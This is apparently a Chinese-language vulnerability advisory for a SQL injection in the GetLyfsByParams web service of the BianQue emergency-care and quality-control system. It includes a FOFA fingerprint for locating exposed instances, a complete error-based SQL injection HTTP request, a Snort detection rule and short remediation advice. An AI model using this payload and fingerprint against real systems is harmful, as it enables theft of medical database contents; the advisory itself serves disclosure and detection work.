

扁鹊飞救智能急救与质控系统

GetLyfsByParams SQL注入漏洞

扁鹊飞救智能急救与质控系统 GetLyfsByParams SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

扁鹊飞救智能急救与质控系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-757866684" || icon_hash="-1206146847"

POC/EXP:

```
POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/GetLyfsByParams HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1

stropid=1 AND (SELECT 9054 FROM(SELECT COUNT(*),CONCAT(0x717a767671,(SELECT (ELT(9054=9054,1))),0x717a707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&strTempID=1&strNumber=&strUnit=
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"BianQue FirstAid System - SQL Injection in GetLyfsByParams";
  flow:to_server,established;
  content:"POST"; http_method;

  content:"/AppService/BQMedical/webServiceForFirstaidApp.asmx/GetLyfsByParams";
  http_uri;
  content:"Content-Type: application/x-www-form-urlencoded";
  http_client_header;
  pcre:"/strOpid=
[^\&]*\bAND\b.*\bSELECT\b.*\bFROM\b.*\bINFORMATION_SCHEMA\.PLUGINS\b/is";
  metadata:service http;
  metadata:affected_product "扁鹊飞救智能急救与质控系统";
  metadata:attack_type "Boolean-Based SQL Injection";
  metadata:severity "critical";
  reference:url,www.example.com/vulndb/bianque-sqli;
  classtype:web-application-attack;
  sid:1000089;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。